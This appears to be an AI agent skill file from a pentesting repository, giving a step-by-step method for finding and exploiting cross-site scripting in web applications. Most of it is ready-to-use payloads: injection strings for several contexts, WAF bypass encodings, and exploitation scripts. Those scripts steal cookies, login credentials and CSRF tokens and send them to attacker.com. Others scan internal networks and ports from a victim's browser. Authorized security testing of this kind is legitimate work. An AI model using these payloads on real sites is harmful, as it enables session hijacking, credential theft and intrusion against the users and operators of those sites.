Hacktricks-skills xss-pentesting

Cross-Site Scripting (XSS) vulnerability testing and exploitation. Use this skill whenever the user mentions XSS, cross-site scripting, web security testing, JavaScript injection, reflected XSS, stored XSS, DOM XSS, WAF bypass, or any web application security assessment involving script injection. Make sure to use this skill for any XSS-related testing, payload crafting, or vulnerability analysis.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xss-cross-site-scripting/xss-cross-site-scripting/SKILL.MD
source content

XSS Pentesting Skill

A systematic approach to finding and exploiting Cross-Site Scripting vulnerabilities in web applications.

Quick Start Methodology

  1. Find controllable input - Check parameters, path, headers, cookies for reflection
  2. Identify the context - Raw HTML, HTML attribute, JavaScript code, or DOM
  3. Craft the payload - Based on context and any filters in place
  4. Test and iterate - Try bypasses if initial payloads are blocked

Step 1: Find Reflected Values

Look for user-controlled data being reflected in the page:

  • URL parameters:
    ?search=<test>
    - check if
    <test>
    appears in response
  • POST data: Form fields, JSON bodies
  • Path segments:
    /profile/<username>
  • Headers: User-Agent, Referer, Custom headers
  • Cookies: Set a cookie and check if it appears in page source

Test payload:

<test123>
or
"<test>
- unique strings that are easy to find

Step 2: Identify the Context

Raw HTML Context

Your input appears directly in the HTML body.

Test: Send

<img src=x onerror=alert(1)>

If it works: You have a basic XSS. Try more advanced payloads below.

HTML Attribute Context

Your input is inside an attribute value like

value="<input>"
or
href="<input>"

Test: Send

" onmouseover="alert(1)
- try to break out of the attribute

If you can't break out: Check if the attribute supports JavaScript (href, src, action, formaction)

JavaScript Context

Your input is inside

<script>
tags or JavaScript code.

Test: Send

';alert(1);//
or
";alert(1);//

If in template literals: Try

${alert(1)}

DOM Context

Your input is used by JavaScript sinks like

innerHTML
,
document.write()
,
location.href

Test: Check browser console for errors when sending

?param=<test>

Step 3: Payload Selection by Context

Raw HTML Payloads

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>

Attribute Escape Payloads

"><script>alert(1)</script>
" onmouseover="alert(1)
' onmouseover='alert(1)
" autofocus onfocus=alert(1) x="
" onclick="alert(1) x="

JavaScript String Escape Payloads

';alert(1);//
";alert(1);//
\';alert(1)//
'-alert(1)-'
`';alert(1);//`
${alert(1)}

JavaScript Context Escape

</script><img src=x onerror=alert(1)>
</script><script>alert(1)</script>

Step 4: WAF Bypass Techniques

Encoding Bypasses

HTML Entity Encoding:

&#60;script&#62;alert(1)&#60;/script&#62;
&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;

URL Encoding:

%3Cscript%3Ealert(1)%3C/script%3E
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

Unicode Encoding:

\u003cscript\u003ealert(1)\u003c/script\u003e
\u0061lert(1)  // alert(1)

Case Variation

<ScRiPt>alert(1)</sCrIpT>
<ImG src=x OnErRoR=alert(1)>

Null Byte Injection

<scr\x00ipt>alert(1)</scr\x00ipt>
<img src=x on\x00error=alert(1)>

Whitespace Variations

<script>alert(1)</script>
<script  >alert(1)</script>
<script	>alert(1)</script>
<script
>alert(1)</script>

Double Encoding

%253Cscript%253Ealert(1)%253C/script%253E

Comment Injection

<script><!--alert(1)--></script>
<script>/*alert(1)*/</script>

Event Handler Bypasses

<svg/onload=alert(1)>
<svg%09onload=alert(1)>
<svg%0Aonload=alert(1)>
<svg%0Donload=alert(1)>
<svg onload%09=alert(1)>
<svg onload%20=alert(1)>

String Construction Bypasses

String.fromCharCode(97,108,101,114,116)(1)  // alert(1)
String.fromCharCode(115,99,114,105,112,116)  // script

Function Call Bypasses (No Parentheses)

alert`1`
[1].find(alert)
[].sort.call`${alert}1`
Reflect.apply.call`${alert}${window}${[1]}`

Step 5: Advanced Exploitation

Cookie Stealing

<img src=x onerror="location='http://attacker.com/?c='+document.cookie">
<script>new Image().src='http://attacker.com/?c='+document.cookie</script>
<script>fetch('http://attacker.com/?c='+document.cookie)</script>

Credential Harvesting

const DoLogin = () => {
  const pwd = document.querySelector('input[type=password]').value;
  const user = document.querySelector('input[type=text]').value;
  fetch('http://attacker.com/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

CSRF Token Theft

var req = new XMLHttpRequest();
req.onload = function() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    fetch('http://attacker.com/?token='+token);
};
req.open('get', '/protected-page', true);
req.send();

Internal Network Discovery

for(i=1; i<=255; i++) {
    fetch('http://192.168.0.'+i).then(()=>{
        fetch('http://attacker.com/?ip=192.168.0.'+i);
    });
}

Port Scanning

for(let i=1; i<=1000; i++) {
    fetch('http://localhost:'+i, {mode: 'no-cors'}).then(()=>{
        fetch('http://attacker.com/?port='+i);
    });
}

Step 6: Special Cases

SVG Upload XSS

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(1)</script>
</svg>

Data URI XSS

<a href="data:text/html,<script>alert(1)</script>">Click</a>
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

JavaScript Protocol XSS

<a href="javascript:alert(1)">Click</a>
<form action="javascript:alert(1)"><button>Submit</button></form>

Blind XSS (for later callback)

<img src=x onerror="fetch('http://attacker.com/?xss='+document.cookie)">
<script>fetch('http://attacker.com/?xss='+document.domain)</script>

PostMessage XSS

window.parent.postMessage('xss', '*');
window.addEventListener('message', (e) => { alert(e.data); });

Step 7: Testing Workflow

  1. Reconnaissance: Map all input points (URL params, forms, headers, cookies)
  2. Initial Testing: Send
    <test>
    to each input, check for reflection
  3. Context Identification: Determine where input is reflected
  4. Payload Testing: Try context-appropriate payloads
  5. Bypass Testing: If blocked, try encoding, case variation, null bytes
  6. Exploitation: Craft payload for your goal (cookie theft, credential harvest, etc.)
  7. Documentation: Record findings with proof-of-concept

Common Tools

  • Burp Suite: Intruder for payload testing, Repeater for manual testing
  • XSS Hunter: Blind XSS detection service
  • Browser DevTools: Console for testing, Network tab for monitoring
  • Custom scripts: For automated payload testing

Safety Notes

  • Only test systems you have authorization to test
  • Use test payloads like
    alert(1)
    before destructive payloads
  • Document all findings for responsible disclosure
  • Be aware of rate limiting and don't overwhelm targets

Resources